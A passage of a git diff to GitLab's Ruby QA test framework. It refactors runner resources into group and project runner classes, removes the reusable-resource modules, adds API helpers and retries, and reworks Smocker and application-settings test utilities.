+ Support::Waiter.wait_until(max_duration: 60, retry_on_exception: true) do
+ page.find('[aria-label="New Folder..."]').click
+ # Verify New Folder button is triggered and textbox is waiting for input
+ page.find('.explorer-item-edited', visible: true)
+ send_keys(name, :enter)
+ page.has_content?(name)
+ end
+ end
+ end
+
+ def commit_and_push(folder_name)
+ within_vscode_editor do
+ # Commit Tab
+ page.find('a.codicon-source-control-view-icon').click
+ send_keys(folder_name)
+ page.has_content?(folder_name)
+
+ # Commit Button
+ page.find('a.monaco-description-button').click
+ page.has_css?('.notification-list-item-details-row', visible: true)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/api_fabricator.rb b/qa/qa/resource/api_fabricator.rb
index d82109c1d54..44520b04e9a 100644
--- a/qa/qa/resource/api_fabricator.rb
+++ b/qa/qa/resource/api_fabricator.rb
@@ -104,7 +104,7 @@ module QA
raise ResourceNotFoundError, "Resource at #{request.mask_url} could not be found (#{response.code}): `#{response}`.\n#{QA::Support::Loglinking.failure_metadata(response.headers[:x_request_id])}"
end
- @api_fabrication_http_method = :get # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ @api_fabrication_http_method ||= :get # rubocop:disable Gitlab/ModuleWithInstanceVariables
response
end
diff --git a/qa/qa/resource/base.rb b/qa/qa/resource/base.rb
index 00c002cae9c..2abe1904c92 100644
--- a/qa/qa/resource/base.rb
+++ b/qa/qa/resource/base.rb
@@ -96,11 +96,7 @@ module QA
result = yield.tap do
fabrication_time = Time.now - start
fabrication_http_method = if resource.api_fabrication_http_method == :get || resource.retrieved_from_cache
- if include?(Reusable)
- "Retrieved for reuse"
- else
- "Retrieved"
- end
+ "Retrieved"
else
"Built"
end
diff --git a/qa/qa/resource/group_base.rb b/qa/qa/resource/group_base.rb
index c5b1a4ecea0..5e2a567119d 100644
--- a/qa/qa/resource/group_base.rb
+++ b/qa/qa/resource/group_base.rb
@@ -16,7 +16,8 @@ module QA
:name,
:full_path,
# Add visibility to enable create private group
- :visibility
+ :visibility,
+ :shared_with_groups
# Get group projects
#
@@ -140,7 +141,8 @@ module QA
:require_two_factor_authentication,
:share_with_group_lock,
:subgroup_creation_level,
- :two_factor_grace_perion
+ :shared_with_groups,
+ :two_factor_grace_period
# TODO: Add back visibility comparison once https://gitlab.com/gitlab-org/gitlab/-/issues/331252 is fixed
# :visibility
)
diff --git a/qa/qa/resource/group_runner.rb b/qa/qa/resource/group_runner.rb
new file mode 100644
index 00000000000..d7fa26a1d53
--- /dev/null
+++ b/qa/qa/resource/group_runner.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class GroupRunner < RunnerBase
+ attribute :group do
+ Resource::Group.fabricate_via_api! do |resource|
+ resource.name = "group-with-ci-cd-#{SecureRandom.hex(8)}"
+ resource.description = 'Group with CI/CD Pipelines'
+ end
+ end
+
+ attribute :token do
+ group.runners_token
+ rescue NoValueError
+ group.reload!.runners_token
+ end
+
+ private
+
+ def runner(**kwargs)
+ fail_msg = "Wait for runner '#{name}' to register in group '#{group.name}'"
+ Support::Retrier.retry_until(max_duration: 60, sleep_interval: 1, message: fail_msg) do
+ auto_paginated_response(request_url("/runners", **kwargs)).find { |runner| runner[:description] == name }
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/issue.rb b/qa/qa/resource/issue.rb
index 2e18e1d0323..15c2c25757f 100644
--- a/qa/qa/resource/issue.rb
+++ b/qa/qa/resource/issue.rb
@@ -65,6 +65,10 @@ module QA
end
end
+ def api_related_mrs_path
+ "#{api_get_path}/related_merge_requests"
+ end
+
def set_issue_assignees(assignee_ids:)
put_body = { assignee_ids: assignee_ids }
response = put Runtime::API::Request.new(api_client, api_put_path).url, put_body
@@ -79,6 +83,13 @@ module QA
QA::Runtime::Logger.debug("Successfully updated issue assignees to #{assignee_ids}")
end
+ # Related merge requests
+ #
+ # @return [Array<Hash>]
+ def related_merge_requests
+ parse_body(api_get_from(api_related_mrs_path))
+ end
+
protected
# Return subset of fields for comparing issues
diff --git a/qa/qa/resource/merge_request.rb b/qa/qa/resource/merge_request.rb
index d1d99393ca2..50ef9538fb0 100644
--- a/qa/qa/resource/merge_request.rb
+++ b/qa/qa/resource/merge_request.rb
@@ -6,27 +6,27 @@ module QA
include ApprovalConfiguration
attr_accessor :approval_rules,
- :source_branch,
- :target_new_branch,
- :update_existing_file,
- :assignee,
- :milestone,
- :labels,
- :file_name,
- :file_content,
- :reviewer_ids
+ :source_branch,
+ :target_new_branch,
+ :update_existing_file,
+ :assignee,
+ :milestone,
+ :labels,
+ :file_name,
+ :file_content,
+ :reviewer_ids
attr_writer :no_preparation,
- :wait_for_merge,
- :template
+ :wait_for_merge,
+ :template
attributes :iid,
- :title,
- :description,
- :merge_when_pipeline_succeeds,
- :merge_status,
- :state,
- :reviewers
+ :title,
+ :description,
+ :merge_when_pipeline_succeeds,
+ :merge_status,
+ :state,
+ :reviewers
attribute :project do
Project.fabricate_via_api! do |resource|
@@ -143,6 +143,13 @@ module QA
}
end
+ # Get merge request reviews
+ #
+ # @return [Array<Hash>]
+ def reviews
+ parse_body(api_get_from(api_reviewers_path))
+ end
+
def merge_via_api!
Support::Waiter.wait_until(sleep_interval: 1) do
QA::Runtime::Logger.debug("Waiting until merge request with id '#{iid}' can be merged")
@@ -179,7 +186,7 @@ module QA
def fabricate_large_merge_request
@project = Resource::ImportProject.fabricate_via_browser_ui!
# Setting the name here, since otherwise some tests will look for an existing file in
- # the proejct without ever knowing what is in it.
+ # the project without ever knowing what is in it.
@file_name = "added_file-00000000.txt"
@source_branch = "large_merge_request"
visit("#{project.web_url}/-/merge_requests/1")
diff --git a/qa/qa/resource/project.rb b/qa/qa/resource/project.rb
index 3cbc002fa86..3f42c6b649e 100644
--- a/qa/qa/resource/project.rb
+++ b/qa/qa/resource/project.rb
@@ -10,25 +10,25 @@ module QA
include ApprovalConfiguration
attr_accessor :initialize_with_readme,
- :auto_devops_enabled,
- :github_personal_access_token,
- :github_repository_path,
- :gitlab_repository_path,
- :personal_namespace
+ :auto_devops_enabled,
+ :github_personal_access_token,
+ :github_repository_path,
+ :gitlab_repository_path,
+ :personal_namespace
attr_reader :repository_storage
attributes :id,
- :name,
- :path,
- :add_name_uuid,
- :runners_token,
- :visibility,
- :template_name,
- :import,
- :import_status,
- :import_error,
- :description
+ :name,
+ :path,
+ :add_name_uuid,
+ :runners_token,
+ :visibility,
+ :template_name,
+ :import,
+ :import_status,
+ :import_error,
+ :description
attribute :group do
Group.fabricate! do |group|
@@ -43,7 +43,7 @@ module QA
alias_method :full_path, :path_with_namespace
def sandbox_path
- return '' if personal_namespace || !group.respond_to?('sandbox')
+ return '' if personal_namespace || !group.respond_to?(:sandbox)
"#{group.sandbox.path}/"
end
@@ -450,6 +450,14 @@ module QA
parse_body(response)
end
+ # Fetch project specific runners
+ #
+ # @param [Hash] **kwargs optional query arguments, see: https://docs.gitlab.com/ee/api/runners.html#list-projects-runners
+ # @return [Array]
+ def runners(**kwargs)
+ auto_paginated_response(request_url(api_runners_path, **kwargs))
+ end
+
# Uses the API to wait until a pull mirroring update is successful (pull mirroring is treated as an import)
def wait_for_pull_mirroring
mirror_succeeded = Support::Retrier.retry_until(
diff --git a/qa/qa/resource/project_runner.rb b/qa/qa/resource/project_runner.rb
new file mode 100644
index 00000000000..173b17550c7
--- /dev/null
+++ b/qa/qa/resource/project_runner.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class ProjectRunner < RunnerBase
+ attribute :project do
+ Project.fabricate_via_api! do |resource|
+ resource.name = 'project-with-ci-cd'
+ resource.description = 'Project with CI/CD Pipelines'
+ end
+ end
+
+ attribute :token do
+ project.runners_token
+ rescue NoValueError
+ project.reload!.runners_token
+ end
+
+ private
+
+ def runner(**kwargs)
+ fail_msg = "Wait for runner '#{name}' to register in project '#{project.name}'"
+ Support::Retrier.retry_until(max_duration: 60, sleep_interval: 1, message: fail_msg) do
+ project.runners(**kwargs).find { |runner| runner[:description] == name }
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/reusable.rb b/qa/qa/resource/reusable.rb
deleted file mode 100644
index 536f70b50b4..00000000000
--- a/qa/qa/resource/reusable.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Resource
- #
- # This module includes methods that allow resource classes to be reused safely. It should be prepended to a new
- # reusable version of an existing resource class. See Resource::Project and ReusableResource::Project for an example.
- # Reusable resource classes must also be registered with a resource collection that will manage cleanup.
- #
- # @example Register a resource class with a collection
- # QA::Resource::ReusableCollection.register_resource_classes do |collection|
- # QA::Resource::ReusableProject.register(collection)
- # end
- module Reusable
- attr_accessor :reuse,
- :reuse_as
-
- ResourceReuseError = Class.new(RuntimeError)
-
- def self.prepended(base)
- base.extend(ClassMethods)
- end
-
- # Gets an existing resource if it exists and the specified attributes of the resource are valid.
- # Creates a new instance of the resource if it does not exist.
- #
- # @return [String] The URL of the resource.
- def fabricate_via_api!
- validate_reuse_preconditions
-
- resource_web_url(api_get)
- rescue Errors::ResourceNotFoundError
- super
- ensure
- self.class.resources[reuse_as] ||= {
- tests: Set.new,
- resource: self
- }
-
- self.class.resources[reuse_as][:attributes] ||= all_attributes.index_with do |attribute_name|
- instance_variable_get("@#{attribute_name}")
- end
- self.class.resources[reuse_as][:tests] << Runtime::Example.location
- end
-
- # Overrides remove_via_api! to log a debug message stating that removal will happen after the suite completes.
- #
- # @return [nil]
- def remove_via_api!
- QA::Runtime::Logger.debug("#{self.class.name} - deferring removal until after suite")
- end
-
- # Object comparison
- #
- # @param [QA::Resource::Base] other
- # @return [Boolean]
- def ==(other)
- self.class <= other.class && comparable == other.comparable
- end
-
- # Confirms that reuse of the resource did not change it in a way that breaks later reuse.
- # For example, this should fail if a reusable resource should have a specific name, but the name has been changed.
- def validate_reuse
- QA::Runtime::Logger.debug(["Validating a #{self.class.name} that was reused as #{reuse_as}", identifier].compact.join(' '))
-
- fresh_resource = reference_resource
- diff = reuse_validation_diff(fresh_resource)
-
- if diff.present?
- raise ResourceReuseError, <<~ERROR
- The reused #{self.class.name} resource does not have the attributes expected.
- The following change was found: #{diff}"
- The resource's web_url is #{web_url}.
- It was used in these tests: #{self.class.resources[reuse_as][:tests].to_a.join(', ')}
- ERROR
- end
-
- ensure
- fresh_resource.remove_via_api!
- end
-
- private
-
- # Creates a new resource that can be compared to a reused resource, using the post body of the original.
- # Must be implemented by classes that include this module.
- def reference_resource
- return super if defined?(super)
-
- raise NotImplementedError
- end
-
- # Confirms that the resource attributes specified in its fabricate_via_api! block will allow it to be reused.
- #
- # @return [nil] returns nil unless an error is raised
- def validate_reuse_preconditions
- return unless self.class.resources.key?(reuse_as)
-
- attributes = unique_identifiers.each_with_object({ proposed: {}, existing: {} }) do |id, attrs|
- proposed = public_send(id)
- existing = self.class.resources[reuse_as][:resource].public_send(id)
-
- next if proposed == existing
-
- attrs[:proposed][id] = proposed
- attrs[:existing][id] = existing
- end
-
- unless attributes[:proposed].empty? && attributes[:existing].empty?
- raise ResourceReuseError, "Reusable resources must use the same unique identifier(s). " \
- "The #{self.class.name} to be reused as :#{reuse_as} has the identifier(s) #{attributes[:proposed]} " \
- "but it should have #{attributes[:existing]}"
- end
- end
-
- # Compares the attributes of the current reused resource with a reference instance.
- #
- # @return [Hash] any differences between the resources.
- def reuse_validation_diff(other)
- original, reference = prepare_reuse_validation_diff(other)
-
- return if original == reference
-
- diff_values = original.to_a - reference.to_a
- diff_values.to_h
- end
-
- # Compares the current reusable resource to a reference instance, ignoring identifying unique attributes that
- # had to be changed.
- #
- # @return [Hash, Hash] the current and reference resource attributes, respectively.
- def prepare_reuse_validation_diff(other)
- original = self.reload!.comparable
- reference = other.reload!.comparable
- unique_identifiers.each { |id| reference[id] = original[id] }
- [original, reference]
- end
-
- # The attributes of the resource that should be the same whenever a test wants to reuse a resource. Must be
- # implemented by classes that include this module.
- #
- # @return [Array<Symbol>] the attribute names.
- def unique_identifiers
- return super if defined?(super)
-
- raise NotImplementedError
- end
-
- module ClassMethods
- # Includes the resources created/reused by this class in the specified collection
- def register(collection)
- collection[self.name] = resources
- end
-
- # The resources created/reused by this resource class.
- #
- # @return [Hash<Symbol, Hash>] the resources created/reused by this resource class.
- def resources
- @resources ||= {}
- end
- end
- end
- end
-end
diff --git a/qa/qa/resource/reusable_collection.rb b/qa/qa/resource/reusable_collection.rb
deleted file mode 100644
index 99a55800d1c..00000000000
--- a/qa/qa/resource/reusable_collection.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-
-require 'singleton'
-
-module QA
- module Resource
- #
- # This singleton class collects all reusable resources used by tests and allows operations to be performed on them
- # all. For example, verifying their state after tests have run and might have changed them.
- #
- class ReusableCollection
- include Singleton
-
- attr_accessor :resource_classes
-
- def initialize
- @resource_classes = {}
- end
-
- # Yields each resource in the collection.
- #
- # @yieldparam [Symbol] reuse_as the name that identifies the resource instance.
- # @yieldparam [QA::Resource] reuse_instance the resource.
- def each_resource
- resource_classes.each_value do |reuse_instances|
- reuse_instances.each do |reuse_as, reuse_instance|
- yield reuse_as, reuse_instance[:resource]
- end
- end
- end
-
- class << self
- # Removes all created resources that are included in the collection.
- def remove_all_via_api!
- instance.each_resource do |reuse_as, resource|
- next QA::Runtime::Logger.debug("#{resource.class.name} reused as :#{reuse_as} has already been removed.") unless resource.exists?
-
- if resource.respond_to?(:marked_for_deletion?) && resource.marked_for_deletion?
- next QA::Runtime::Logger.debug("#{resource.class.name} reused as :#{reuse_as} is already scheduled to be removed.")
- end
-
- resource.method(:remove_via_api!).super_method.call
- end
- end
-
- # Validates the reuse of each resource as defined by the resource class of each resource in the collection.
- def validate_resource_reuse
- instance.each_resource { |_, resource| resource.validate_reuse }
- end
-
- # Yields the collection of resources to allow resource classes to register themselves with the collection.
- #
- # @yieldparam [Hash] resource_classes the resource classes in the collection.
- def register_resource_classes
- yield instance.resource_classes
- end
- end
- end
- end
-end
diff --git a/qa/qa/resource/reusable_group.rb b/qa/qa/resource/reusable_group.rb
deleted file mode 100644
index 05ff38249f6..00000000000
--- a/qa/qa/resource/reusable_group.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Resource
- class ReusableGroup < Group
- prepend Reusable
-
- def initialize
- super
-
- @name = @path = QA::Runtime::Env.reusable_group_path
- @description = "QA reusable group"
- @reuse_as = :default_group
- end
-
- private
-
- # Creates a new group that can be compared to a reused group, using the attributes of the original. Attributes that
- # must be unique (path and name) are replaced with new unique values.
- #
- # @return [QA::Resource] a new instance of Resource::ReusableGroup that should be a copy of the original resource
- def reference_resource
- attributes = self.class.resources[reuse_as][:attributes]
- name = "ref#{SecureRandom.hex(8)}_#{attributes.delete(:path)}"[0...MAX_NAME_LENGTH]
-
- Group.fabricate_via_api! do |resource|
- self.class.resources[reuse_as][:attributes].each do |attribute_name, attribute_value|
- resource.instance_variable_set("@#{attribute_name}", attribute_value) if attribute_value
- end
- resource.path = name
- resource.name = name
- end
- end
-
- # The attributes of the resource that should be the same whenever a test wants to reuse a group.
- #
- # @return [Array<Symbol>] the attribute names.
- def unique_identifiers
- [:name, :path]
- end
- end
- end
-end
diff --git a/qa/qa/resource/reusable_project.rb b/qa/qa/resource/reusable_project.rb
deleted file mode 100644
index 8a12c25b6f0..00000000000
--- a/qa/qa/resource/reusable_project.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Resource
- class ReusableProject < Project
- prepend Reusable
-
- attribute :group do
- ReusableGroup.fabricate_via_api! do |resource|
- resource.api_client = api_client
- end
- end
-
- def initialize
- super
-
- @add_name_uuid = false
- @name = @path = QA::Runtime::Env.reusable_project_path
- @reuse_as = :default_project
- @initialize_with_readme = true
- end
-
- private
-
- # Creates a new project that can be compared to a reused project, using the attributes of the original. Attributes
- # that must be unique (path and name) are replaced with new unique values.
- #
- # @return [QA::Resource] a new instance of Resource::ReusableProject that should be a copy of the original resource
- def reference_resource
- attributes = self.class.resources[reuse_as][:attributes]
- name = "reference_resource_#{SecureRandom.hex(8)}_for_#{attributes.delete(:name)}"
-
- Project.fabricate_via_api! do |project|
- self.class.resources[reuse_as][:attributes].each do |attribute_name, attribute_value|
- project.instance_variable_set("@#{attribute_name}", attribute_value) if attribute_value
- end
- project.name = name
- project.path = name
- project.path_with_namespace = "#{project.group.full_path}/#{project.name}"
- end
- end
-
- # The attributes of the resource that should be the same whenever a test wants to reuse a project.
- #
- # @return [Array<Symbol>] the attribute names.
- def unique_identifiers
- [:name, :path]
- end
- end
- end
-end
diff --git a/qa/qa/resource/runner.rb b/qa/qa/resource/runner.rb
deleted file mode 100644
index 3c74d8de21a..00000000000
--- a/qa/qa/resource/runner.rb
+++ /dev/null
@@ -1,148 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Resource
- class Runner < Base
- attributes :id,
- :active,
- :paused,
- :runner_type,
- :online,
- :status,
- :ip_address,
- :token,
- :tags,
- :config,
- :run_untagged,
- :name, # This attribute == runner[:description]
- :image,
- :executor,
- :executor_image
-
- attribute :project do
- Project.fabricate_via_api! do |resource|
- resource.name = 'project-with-ci-cd'
- resource.description = 'Project with CI/CD Pipelines'
- end
- end
-
- def initialize
- @tags = nil
- @config = nil
- @run_untagged = nil
- @name = "qa-runner-#{SecureRandom.hex(4)}"
- @image = 'registry.gitlab.com/gitlab-org/gitlab-runner:alpine'
- @executor = :shell
- @executor_image = 'registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-qa-alpine-ruby-2.7'
- end
-
- # Initially we only support fabricate
- # via API
- def fabricate!
- fabricate_via_api!
- end
-
- # Start container and register runner
- # Fetch via API and populate attributes
- #
- def fabricate_via_api!
- start_container_and_register
- populate_runner_attributes
- end
-
- def remove_via_api!
- super
- ensure
- @docker_container.remove!
- end
-
- def reload!
- populate_runner_attributes
- end
-
- def api_delete_path
- "/runners/#{id}"
- end
-
- def api_get_path
- "/runners"
- end
-
- def api_post_path
- "/runners"
- end
-
- def api_post_body; end
-
- def not_found_by_tags?
- url = "#{api_get_path}?tag_list=#{tags.compact.join(',')}"
- auto_paginated_response(request_url(url)).empty?
- end
-
- def runners_list
- runners_list = nil
- url = tags ? "#{api_get_path}?tag_list=#{tags.compact.join(',')}" : api_get_path
- Runtime::Logger.info('Looking for list of runners via API...')
- Support::Retrier.retry_until(max_duration: 60, sleep_interval: 1) do
- runners_list = auto_paginated_response(request_url(url))
- runners_list.present?
- end
-
- runners_list
- end
-
- def wait_until_online
- Runtime::Logger.info('Waiting for runner to come online...')
- Support::Retrier.retry_until(max_duration: 60, sleep_interval: 1) do
- this_runner[:status] == 'online'
- end
- end
-
- def restart
- Runtime::Logger.info("Restarting runner container #{name}...")
- @docker_container.restart
- wait_until_online
- end
-
- private
-
- def start_container_and_register
- @docker_container = Service::DockerRun::GitlabRunner.new(name).tap do |runner|
- Support::Retrier.retry_on_exception(sleep_interval: 5) do
- runner.pull
- end
-
- runner.token = @token ||= project.runners_token
- runner.address = Runtime::Scenario.gitlab_address
- runner.tags = tags if tags
- runner.image = image
- runner.config = config if config
- runner.executor = executor
- runner.executor_image = executor_image if executor == :docker
- runner.run_untagged = run_untagged if run_untagged
- runner.register!
- end
- end
-
- def this_runner
- runner = nil
- Support::Retrier.retry_until(max_duration: 60, sleep_interval: 1) do
- runner = runners_list.find { |runner| runner[:description] == name }
- !runner.nil?
- end
- runner
- end
-
- def populate_runner_attributes
- runner = this_runner
- @id = runner[:id]
- @active = runner[:active]
- @paused = runner[:paused]
- @runner_type = runner[:typed]
- @online = runner[:online]
- @status = runner[:status]
- @ip_address = runner[:ip_address]
- end
- end
- end
-end
diff --git a/qa/qa/resource/runner_base.rb b/qa/qa/resource/runner_base.rb
new file mode 100644
index 00000000000..7580aa108c9
--- /dev/null
+++ b/qa/qa/resource/runner_base.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class RunnerBase < Base
+ attr_accessor :run_untagged,
+ :image,
+ :executor,
+ :executor_image,
+ :tags,
+ :config
+
+ attributes :id,
+ :active,
+ :paused,
+ :runner_type,
+ :online,
+ :status,
+ :ip_address,
+ :description,
+ :name,
+ :is_shared,
+ :contacted_at,
+ :platform,
+ :architecture,
+ :projects,
+ :revision,
+ :tag_list,
+ :version,
+ :access_level,
+ :maximum_timeout
+
+ def initialize
+ @tags = nil
+ @config = nil
+ @run_untagged = nil
+ @name = "qa-runner-#{SecureRandom.hex(4)}"
+ @image = 'registry.gitlab.com/gitlab-org/gitlab-runner:alpine'
+ @executor = :shell
+ @executor_image = 'registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-qa-alpine-ruby-2.7'
+ end
+
+ # Initially we only support fabricate via API
+ def fabricate!
+ fabricate_via_api!
+ end
+
+ # Start container and register runner
+ # Fetch via API and populate attributes
+ #
+ def fabricate_via_api!
+ api_get
+ rescue NoValueError
+ # Start container on initial fabrication and populate all attributes once id is known
+ # see: https://docs.gitlab.com/ee/api/runners.html#get-runners-details
+ start_container_and_register
+ api_get
+ end
+
+ def remove_via_api!
+ super
+ ensure
+ @docker_container.remove!
+ @docker_container = nil
+ end
+
+ def api_get_path
+ "/runners/#{id}"
+ end
+
+ def api_post_path
+ "/runners"
+ end
+
+ def api_delete_path
+ api_get_path
+ end
+
+ def api_post_body; end
+
+ def wait_until_online
+ Runtime::Logger.info('Waiting for runner to come online...')
+ Support::Retrier.retry_until(max_duration: 60, sleep_interval: 1) do
+ reload! && status == 'online'
+ end
+ end
+
+ def restart
+ Runtime::Logger.info("Restarting runner container #{name}...")
+ @docker_container.restart
+ wait_until_online
+ end
+
+ private
+
+ def start_container_and_register
+ @docker_container ||= Service::DockerRun::GitlabRunner.new(name).tap do |runner|
+ Support::Retrier.retry_on_exception(sleep_interval: 5) do
+ runner.pull
+ end
+
+ runner.token = token
+ runner.address = Runtime::Scenario.gitlab_address
+ runner.tags = tags if tags
+ runner.image = image
+ runner.config = config if config
+ runner.executor = executor
+ runner.executor_image = executor_image if executor == :docker
+ runner.run_untagged = run_untagged if run_untagged
+ runner.register!
+ end
+ populate_initial_id
+ rescue StandardError => e
+ @docker_container&.remove!
+ raise(e)
+ end
+
+ def populate_initial_id
+ tag_list = tags ? { tag_list: tags.compact.join(',') } : {}
+ runner = runner(**tag_list)
+ @id = runner[:id]
+ end
+
+ def runner(**kwargs)
+ raise("Not implemented!")
+ end
+ end
+ end
+end
diff --git a/qa/qa/runtime/application_settings.rb b/qa/qa/runtime/application_settings.rb
index 55a5ae9d06c..5aeab922a12 100644
--- a/qa/qa/runtime/application_settings.rb
+++ b/qa/qa/runtime/application_settings.rb
@@ -2,6 +2,8 @@
module QA
module Runtime
+ # TODO: Ideally this should be changed to a normal class due to now being able to override what api client is used
+ #
class ApplicationSettings
class << self
include Support::API
@@ -13,26 +15,30 @@ module QA
# #set({ allow_local_requests_from_web_hooks_and_services: true })
# #set(allow_local_requests_from_web_hooks_and_services: true)
# https://docs.gitlab.com/ee/api/settings.html
- def set_application_settings(**application_settings)
- @original_application_settings = get_application_settings
+ def set_application_settings(api_client: admin_api_client, **application_settings)
+ @original_application_settings = get_application_settings(api_client: api_client)
QA::Runtime::Logger.info("Setting application settings: #{application_settings}")
r = put(Runtime::API::Request.new(api_client, APPLICATION_SETTINGS_PATH).url, **application_settings)
- raise "Couldn't set application settings #{application_settings.inspect}" unless r.code == QA::Support::API::HTTP_STATUS_OK
+ return if r.code == QA::Support::API::HTTP_STATUS_OK
+
+ raise "Couldn't set application settings #{application_settings.inspect}"
end
- def get_application_settings
+ def get_application_settings(api_client: admin_api_client)
parse_body(get(Runtime::API::Request.new(api_client, APPLICATION_SETTINGS_PATH).url))
end
+ # TODO: This class probably needs to be refactored because this method relies on original settings to have been
+ # populated sometime in the past and there is no guarantee original settings instance variable is still valid
def restore_application_settings(*application_settings_keys)
set_application_settings(**@original_application_settings.slice(*application_settings_keys))
end
private
- def api_client
- @api_client ||= Runtime::API::Client.as_admin
+ def admin_api_client
+ @admin_api_client ||= Runtime::API::Client.as_admin
rescue API::Client::AuthorizationError => e
raise "Administrator access is required to set application settings. #{e.message}"
end
diff --git a/qa/qa/runtime/browser.rb b/qa/qa/runtime/browser.rb
index af1a4e06473..faf2023f7c2 100644
--- a/qa/qa/runtime/browser.rb
+++ b/qa/qa/runtime/browser.rb
@@ -96,12 +96,11 @@ module QA
capabilities['goog:chromeOptions'][:args] << 'disable-dev-shm-usage' if QA::Runtime::Env.disable_dev_shm?
# Set chrome default download path
- if QA::Runtime::Env.chrome_default_download_path
- capabilities['goog:chromeOptions'][:prefs] = {
- 'download.default_directory' => File.expand_path(QA::Runtime::Env.chrome_default_download_path),
- 'download.prompt_for_download' => false
- }
- end
+
+ capabilities['goog:chromeOptions'][:prefs] = {
+ 'download.default_directory' => File.expand_path(QA::Runtime::Env.chrome_default_download_path),
+ 'download.prompt_for_download' => false
+ }
# Specify the user-agent to allow challenges to be bypassed
# See https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/11938
diff --git a/qa/qa/runtime/env.rb b/qa/qa/runtime/env.rb
index d4d9ffe62e6..e952c0337f2 100644
--- a/qa/qa/runtime/env.rb
+++ b/qa/qa/runtime/env.rb
@@ -237,6 +237,10 @@ module QA
ENV['GITLAB_QA_PASSWORD_1']
end
+ def gitlab_qa_access_token_1
+ ENV['GITLAB_QA_ACCESS_TOKEN_1']
+ end
+
def gitlab_qa_username_2
ENV['GITLAB_QA_USERNAME_2'] || 'gitlab-qa-user2'
end
@@ -406,14 +410,6 @@ module QA
ENV.fetch('GITLAB_QA_LOOP_RUNNER_MINUTES', 1).to_i
end
- def reusable_project_path
- ENV.fetch('QA_REUSABLE_PROJECT_PATH', 'reusable_project')
- end
-
- def reusable_group_path
- ENV.fetch('QA_REUSABLE_GROUP_PATH', 'reusable_group')
- end
-
def mailhog_hostname
ENV['MAILHOG_HOSTNAME']
end
@@ -503,7 +499,7 @@ module QA
end
def chrome_default_download_path
- ENV['DEFAULT_CHROME_DOWNLOAD_PATH']
+ ENV['DEFAULT_CHROME_DOWNLOAD_PATH'] || Dir.tmpdir
end
private
diff --git a/qa/qa/runtime/path.rb b/qa/qa/runtime/path.rb
index 3169c5dd743..fd451f2df19 100644
--- a/qa/qa/runtime/path.rb
+++ b/qa/qa/runtime/path.rb
@@ -8,6 +8,10 @@ module QA
def qa_root
::File.expand_path('../../', __dir__)
end
+
+ def fixtures_path
+ ::File.expand_path('../fixtures', __dir__)
+ end
end
end
end
diff --git a/qa/qa/service/docker_run/base.rb b/qa/qa/service/docker_run/base.rb
index 65ebe09eeea..bf85b640586 100644
--- a/qa/qa/service/docker_run/base.rb
+++ b/qa/qa/service/docker_run/base.rb
@@ -55,7 +55,9 @@ module QA
end
def pull
- shell "docker pull #{@image}"
+ Support::Retrier.retry_until(retry_on_exception: true, sleep_interval: 3) do
+ shell "docker pull #{@image}"
+ end
end
def host_name
diff --git a/qa/qa/service/docker_run/gitlab_runner.rb b/qa/qa/service/docker_run/gitlab_runner.rb
index 7a62951a2f6..d6d1a085b77 100644
--- a/qa/qa/service/docker_run/gitlab_runner.rb
+++ b/qa/qa/service/docker_run/gitlab_runner.rb
@@ -36,6 +36,8 @@ module QA
end
def register!
+ raise("Missing runner token value!") unless token
+
cmd = <<~CMD.tr("\n", ' ')
docker run -d --rm --network #{runner_network} --name #{@name}
#{'-v /var/run/docker.sock:/var/run/docker.sock' if @executor == :docker}
diff --git a/qa/qa/service/docker_run/smocker.rb b/qa/qa/service/docker_run/smocker.rb
index 83ab58887da..b48f8aa84e3 100644
--- a/qa/qa/service/docker_run/smocker.rb
+++ b/qa/qa/service/docker_run/smocker.rb
@@ -7,24 +7,43 @@ module QA
def initialize
@image = 'thiht/smocker:0.17.1'
@name = 'smocker-server'
- @public_port = '8080'
- @admin_port = '8081'
+ @public_port = 8080
+ @admin_port = 8081
super
@network_cache = network
end
- def host_name
- return '127.0.0.1' unless QA::Runtime::Env.running_in_ci? || QA::Runtime::Env.qa_hostname
+ # @param wait [Integer] seconds to wait for server
+ # @yieldparam [SmockerApi] the api object ready for interaction
+ def self.init(wait: 10)
+ if @container.nil?
+ @container = new
+ @container.register!
+ @container.wait_for_running
- "#{@name}.#{@network_cache}"
+ @api = Vendor::Smocker::SmockerApi.new(
+ host: @container.host_name,
+ public_port: @container.public_port,
+ admin_port: @container.admin_port
+ )
+ @api.wait_for_ready(wait: wait)
+ end
+
+ yield @api
end
- def base_url
- "http://#{host_name}:#{@public_port}"
+ def self.teardown!
+ @container&.remove!
+ @container = nil
+ @api = nil
end
- def admin_url
- "http://#{host_name}:#{@admin_port}"
+ attr_reader :public_port, :admin_port
+
+ def host_name
+ return '127.0.0.1' unless QA::Runtime::Env.running_in_ci? || QA::Runtime::Env.qa_hostname
+
+ "#{@name}.#{@network_cache}"
end
def wait_for_running
diff --git a/qa/qa/service/kubernetes_cluster.rb b/qa/qa/service/kubernetes_cluster.rb
index 59bfacf9195..5362124bee5 100644
--- a/qa/qa/service/kubernetes_cluster.rb
+++ b/qa/qa/service/kubernetes_cluster.rb
@@ -20,12 +20,6 @@ module QA
@provider.validate_dependencies
@provider.setup
- @api_url = fetch_api_url
-
- credentials = @provider.filter_credentials(fetch_credentials)
- @ca_certificate = Base64.decode64(credentials.dig('data', 'ca.crt'))
- @token = Base64.decode64(credentials.dig('data', 'token'))
-
self
end
@@ -46,7 +40,7 @@ module QA
end
def create_secret(secret, secret_name)
- shell("kubectl create secret generic #{secret_name} --from-literal=token='#{secret}'")
